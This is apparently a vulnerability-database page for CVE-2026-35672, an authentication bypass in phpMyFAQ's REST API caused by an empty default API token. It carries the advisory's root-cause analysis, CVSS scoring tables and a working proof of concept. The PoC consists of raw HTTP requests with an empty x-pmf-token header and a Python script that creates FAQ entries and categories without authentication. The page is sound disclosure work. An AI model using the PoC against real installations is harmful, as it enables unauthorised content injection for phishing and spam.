Staging Environment: Content and features may be unstable or change without notice.
Search for vulnerabilities
Vulnerability details: VCID-6xtn-52az-3bh1
Vulnerability ID VCID-6xtn-52az-3bh1
Aliases CVE-2026-35672
GHSA-gp95-j463-vv28
Summary phpMyFAQ: Default Empty API Token Authentication Bypass ### Summary A default empty API client token allows any unauthenticated user to create and modify FAQ entries, categories, and questions via the REST API. The vulnerability exists in all versions since API v4.0 was introduced because the installation process seeds `api.apiClientToken` with an empty string, and the `hasValidToken()` comparison logic cannot distinguish between "no token configured" and "attacker sent a matching empty token header." ### Details The root cause is in two files: **1. Installation default** (`src/phpMyFAQ/Setup/Installation/DefaultDataSeeder.php`, line 277-278): ```php 'api.enableAccess' => 'true', 'api.apiClientToken' => '', // ← defaults to empty string ``` **2. Authentication check** (`src/phpMyFAQ/Controller/AbstractController.php`, line 198-204): ```php protected function hasValidToken(): void { $request = Request::createFromGlobals(); if ($this->configuration->get('api.apiClientToken') !== $request->headers->get('x-pmf-token')) { throw new UnauthorizedHttpException('"x-pmf-token" is not valid.'); } } ``` The method uses strict inequality (`!==`). When `api.apiClientToken` is `''` (default) and the attacker sends `x-pmf-token: ` (empty header value), the comparison becomes `'' !== ''` which evaluates to `false` — no exception is thrown, and authentication is completely bypassed. The OpenAPI annotations confirm the developer intended these endpoints to require authentication: write endpoints are tagged `'Endpoints with Authentication'` and document HTTP 401 responses, while read-only endpoints are tagged `'Public Endpoints'`. The following API endpoints call `$this->hasValidToken()` as their only authentication check: | File | Endpoint | Method | | ------------------------------------------------------- | ---------------------- | ------ | | `src/.../Controller/Api/FaqController.php:701-703` | `/api/v4.0/faq/create` | `POST` | | `src/.../Controller/Api/FaqController.php:857-859` | `/api/v4.0/faq/update` | `PUT` | | `src/.../Controller/Api/CategoryController.php:278-280` | `/api/v4.0/category` | `POST` | | `src/.../Controller/Api/QuestionController.php:89-91` | `/api/v4.0/question` | `POST` | ### PoC **Environment**: phpMyFAQ 4.2.0-alpha, PHP 8.4.16, SQLite, installed with all defaults. **Step 1 — Verify that requests without auth header are correctly rejected:** ```http POST /api/v4.0/faq/create HTTP/1.1 Host: <target> Content-Type: application/json { "language": "en", "category-id": 1, "question": "Test Question", "answer": "Test Answer", "keywords": "test", "author": "test", "email": "test@test.com", "is-active": true, "is-sticky": false } ``` Response (HTTP 401 — correctly blocked): ```json {"type":".../problems/unauthorized","title":"Unauthorized","status":401,"detail":"Unauthorized access.","instance":"/v4.0/faq/create"} ``` **Step 2 — Send the same request with an empty `x-pmf-token` header:** ```http POST /api/v4.0/faq/create HTTP/1.1 Host: <target> Content-Type: application/json x-pmf-token: { "language": "en", "category-id": 1, "question": "[POC] Authentication Bypass Confirmed", "answer": "This FAQ was created without any valid authentication token.", "keywords": "poc,bypass", "author": "Security Researcher", "email": "researcher@example.com", "is-active": true, "is-sticky": false } ``` Response (HTTP 201 — bypass confirmed): ```json {"stored": true} ``` **Step 3 — Category creation via the same bypass:** ```http POST /api/v4.0/category HTTP/1.1 Host: <target> Content-Type: application/json x-pmf-token: { "language": "en", "parent-id": 0, "category-name": "POC_Category", "description": "Category created via empty token bypass", "user-id": 1, "group-id": -1, "is-active": true, "show-on-homepage": true } ``` Response (HTTP 201): ```json {"stored": true} ``` **Step 4 — Verify injected content is publicly visible:** ```http GET /api/v4.0/faqs/1 HTTP/1.1 Host: <target> ``` Response (HTTP 200 — injected FAQ publicly exposed): ```json [{"record_id":1,"record_lang":"en","category_id":1,"record_title":"[POC] Authentication Bypass Confirmed","record_preview":"This FAQ was created without any valid authentication token. ..."}] ``` **PoC with Python (urllib — no external dependencies):** ```python import urllib.request, json TARGET = "http://<target>" HEADERS = {"Content-Type": "application/json", "x-pmf-token": ""} # Create FAQ via empty token bypass data = json.dumps({ "language": "en", "category-id": 1, "question": "[POC] Auth Bypass", "answer": "Created via bypass.", "keywords": "poc", "author": "R", "email": "r@t.com", "is-active": True, "is-sticky": False }).encode() req = urllib.request.Request(f"{TARGET}/api/v4.0/faq/create", data=data, headers=HEADERS, method="POST") resp = urllib.request.urlopen(req) print(f"Status: {resp.status}") # 201 — bypass successful ``` **Overlap Summary:** | Test | x-pmf-token | HTTP Status | Result | | ------------------- | -------------- | ---------------- | -------------------------- | | No auth header | *(not sent)* | 401 Unauthorized | 🔒 Correctly blocked | | Empty token header | `""` | **201 Created** | 🔓 Bypass confirmed | | Category creation | `""` | **201 Created** | 🔓 Bypass confirmed | | Public verification | *(not needed)* | 200 OK | 📄 Injected content visible | ### Impact This is an **authentication bypass (CWE-1188)** affecting any phpMyFAQ installation where the administrator has not explicitly set a non-empty API client token — which is the **default state after installation**. - **Who is impacted?** Any organization running phpMyFAQ with default configuration. The REST API is enabled by default, and the token defaults to empty. No action by the administrator is required for the vulnerability to exist — it is the out-of-the-box state. - **What can an attacker do?** Create and modify FAQ entries, categories, and questions without any authentication. This enables content injection for phishing, SEO spam, reputation damage, and distribution of malicious links through the knowledge base. - **What is NOT affected?** Read-only API endpoints are intentionally public. Session-authenticated admin endpoints are not affected. File upload and backup endpoints require separate session-based authentication.
Status Published
Exploitability 0.5
Weighted Severity 8.0
Risk 4.0
Affected and Fixed Packages Package Details
Weaknesses (1)
CWE-1188 Initialization of a Resource with an Insecure Default
System Score Found at
epss 0.00098 https://api.first.org/data/v1/epss?cve=CVE-2026-35672
epss 0.00098 https://api.first.org/data/v1/epss?cve=CVE-2026-35672
epss 0.00098 https://api.first.org/data/v1/epss?cve=CVE-2026-35672
epss 0.00098 https://api.first.org/data/v1/epss?cve=CVE-2026-35672
epss 0.00098 https://api.first.org/data/v1/epss?cve=CVE-2026-35672
cvssv3.1_qr HIGH https://github.com/advisories/GHSA-gp95-j463-vv28
cvssv3.1 7.5 https://github.com/thorsten/phpMyFAQ
cvssv4 8.7 https://github.com/thorsten/phpMyFAQ
generic_textual HIGH https://github.com/thorsten/phpMyFAQ
cvssv3.1 7.5 https://github.com/thorsten/phpMyFAQ/security/advisories/GHSA-gp95-j463-vv28
cvssv3.1_qr HIGH https://github.com/thorsten/phpMyFAQ/security/advisories/GHSA-gp95-j463-vv28
cvssv4 8.7 https://github.com/thorsten/phpMyFAQ/security/advisories/GHSA-gp95-j463-vv28
cvssv4 8.7 https://github.com/thorsten/phpMyFAQ/security/advisories/GHSA-gp95-j463-vv28
generic_textual HIGH https://github.com/thorsten/phpMyFAQ/security/advisories/GHSA-gp95-j463-vv28
ssvc Track https://github.com/thorsten/phpMyFAQ/security/advisories/GHSA-gp95-j463-vv28
cvssv3.1 7.5 https://nvd.nist.gov/vuln/detail/CVE-2026-35672
cvssv4 8.7 https://nvd.nist.gov/vuln/detail/CVE-2026-35672
generic_textual HIGH https://nvd.nist.gov/vuln/detail/CVE-2026-35672
cvssv3.1 7.5 https://www.vulncheck.com/advisories/phpmyfaq-authentication-bypass-via-empty-api-token
cvssv4 8.7 https://www.vulncheck.com/advisories/phpmyfaq-authentication-bypass-via-empty-api-token
cvssv4 8.7 https://www.vulncheck.com/advisories/phpmyfaq-authentication-bypass-via-empty-api-token
generic_textual HIGH https://www.vulncheck.com/advisories/phpmyfaq-authentication-bypass-via-empty-api-token
ssvc Track https://www.vulncheck.com/advisories/phpmyfaq-authentication-bypass-via-empty-api-token
Reference id Reference type URL
https://api.first.org/data/v1/epss?cve=CVE-2026-35672
https://github.com/thorsten/phpMyFAQ
https://github.com/thorsten/phpMyFAQ/security/advisories/GHSA-gp95-j463-vv28
https://nvd.nist.gov/vuln/detail/CVE-2026-35672
GHSA-gp95-j463-vv28 https://github.com/advisories/GHSA-gp95-j463-vv28
phpmyfaq-authentication-bypass-via-empty-api-token https://www.vulncheck.com/advisories/phpmyfaq-authentication-bypass-via-empty-api-token
No exploits are available.
Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N Found at https://github.com/thorsten/phpMyFAQ
Attack Vector (AV) Attack Complexity (AC) Privileges Required (PR) User Interaction (UI) Scope (S) Confidentiality Impact (C) Integrity Impact (I) Availability Impact (A)

network

adjacent_network

local

physical

low

high

none

low

high

none

required

unchanged

changed

high

low

none

high

low

none

high

low

none
Vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X Found at https://github.com/thorsten/phpMyFAQ
Attack Vector (AV) Attack Complexity (AC) Attack Requirements (AT) Privileges Required (PR) User Interaction (UI) Vulnerable System Impact Confidentiality (VC) Vulnerable System Impact Integrity (VI) Vulnerable System Impact Availability (VA) Subsequent System Impact Confidentiality (SC) Subsequent System Impact Integrity (SI) Subsequent System Impact Availability (SA)

network

adjacent

local

physical

low

high

none

present

none

low

high

none

passive

active

high

low

none

high

low

none

high

low

none

high

low

none

high

low

none

high

low

none
Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N Found at https://github.com/thorsten/phpMyFAQ/security/advisories/GHSA-gp95-j463-vv28
Attack Vector (AV) Attack Complexity (AC) Privileges Required (PR) User Interaction (UI) Scope (S) Confidentiality Impact (C) Integrity Impact (I) Availability Impact (A)

network

adjacent_network

local

physical

low

high

none

low

high

none

required

unchanged

changed

high

low

none

high

low

none

high

low

none
Vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N Found at https://github.com/thorsten/phpMyFAQ/security/advisories/GHSA-gp95-j463-vv28
Attack Vector (AV) Attack Complexity (AC) Attack Requirements (AT) Privileges Required (PR) User Interaction (UI) Vulnerable System Impact Confidentiality (VC) Vulnerable System Impact Integrity (VI) Vulnerable System Impact Availability (VA) Subsequent System Impact Confidentiality (SC) Subsequent System Impact Integrity (SI) Subsequent System Impact Availability (SA)

network

adjacent

local

physical

low

high

none

present

none

low

high

none

passive

active

high

low

none

high

low

none

high

low

none

high

low

none

high

low

none

high

low

none
Vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X Found at https://github.com/thorsten/phpMyFAQ/security/advisories/GHSA-gp95-j463-vv28
Attack Vector (AV) Attack Complexity (AC) Attack Requirements (AT) Privileges Required (PR) User Interaction (UI) Vulnerable System Impact Confidentiality (VC) Vulnerable System Impact Integrity (VI) Vulnerable System Impact Availability (VA) Subsequent System Impact Confidentiality (SC) Subsequent System Impact Integrity (SI) Subsequent System Impact Availability (SA)

network

adjacent

local

physical

low

high

none

present

none

low

high

none

passive

active

high

low

none

high

low

none

high

low

none

high

low

none

high

low

none

high

low

none
Vector: SSVCv2/E:P/A:Y/T:P/P:M/B:A/M:M/D:T/2026-05-28T15:28:03Z/ Found at https://github.com/thorsten/phpMyFAQ/security/advisories/GHSA-gp95-j463-vv28
Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N Found at https://nvd.nist.gov/vuln/detail/CVE-2026-35672
Attack Vector (AV) Attack Complexity (AC) Privileges Required (PR) User Interaction (UI) Scope (S) Confidentiality Impact (C) Integrity Impact (I) Availability Impact (A)

network

adjacent_network

local

physical

low

high

none

low

high

none

required

unchanged

changed

high

low

none

high

low

none

high

low

none
Vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X Found at https://nvd.nist.gov/vuln/detail/CVE-2026-35672
Attack Vector (AV) Attack Complexity (AC) Attack Requirements (AT) Privileges Required (PR) User Interaction (UI) Vulnerable System Impact Confidentiality (VC) Vulnerable System Impact Integrity (VI) Vulnerable System Impact Availability (VA) Subsequent System Impact Confidentiality (SC) Subsequent System Impact Integrity (SI) Subsequent System Impact Availability (SA)

network

adjacent

local

physical

low

high

none

present

none

low

high

none

passive

active

high

low

none

high

low

none

high

low

none

high

low

none

high

low

none

high

low

none
Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N Found at https://www.vulncheck.com/advisories/phpmyfaq-authentication-bypass-via-empty-api-token
Attack Vector (AV) Attack Complexity (AC) Privileges Required (PR) User Interaction (UI) Scope (S) Confidentiality Impact (C) Integrity Impact (I) Availability Impact (A)

network

adjacent_network

local

physical

low

high

none

low

high

none

required

unchanged

changed

high

low

none

high

low

none

high

low

none
Vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N Found at https://www.vulncheck.com/advisories/phpmyfaq-authentication-bypass-via-empty-api-token
Attack Vector (AV) Attack Complexity (AC) Attack Requirements (AT) Privileges Required (PR) User Interaction (UI) Vulnerable System Impact Confidentiality (VC) Vulnerable System Impact Integrity (VI) Vulnerable System Impact Availability (VA) Subsequent System Impact Confidentiality (SC) Subsequent System Impact Integrity (SI) Subsequent System Impact Availability (SA)

network

adjacent

local

physical

low

high

none

present

none

low

high

none

passive

active

high

low

none

high

low

none

high

low

none

high

low

none

high

low

none

high

low

none
Vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X Found at https://www.vulncheck.com/advisories/phpmyfaq-authentication-bypass-via-empty-api-token
Attack Vector (AV) Attack Complexity (AC) Attack Requirements (AT) Privileges Required (PR) User Interaction (UI) Vulnerable System Impact Confidentiality (VC) Vulnerable System Impact Integrity (VI) Vulnerable System Impact Availability (VA) Subsequent System Impact Confidentiality (SC) Subsequent System Impact Integrity (SI) Subsequent System Impact Availability (SA)

network

adjacent

local

physical

low

high

none

present

none

low

high

none

passive

active

high

low

none

high

low

none

high

low

none

high

low

none

high

low

none

high

low

none
Vector: SSVCv2/E:P/A:Y/T:P/P:M/B:A/M:M/D:T/2026-05-28T15:28:03Z/ Found at https://www.vulncheck.com/advisories/phpmyfaq-authentication-bypass-via-empty-api-token
Exploit Prediction Scoring System (EPSS)
Percentile 0.2704
EPSS Score 0.00098
Published At June 5, 2026, 12:55 p.m.
Date Actor Action Source VulnerableCode Version
2026-06-04T17:04:14.165780+00:00 GithubOSV Importer Import https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-gp95-j463-vv28/GHSA-gp95-j463-vv28.json 38.6.0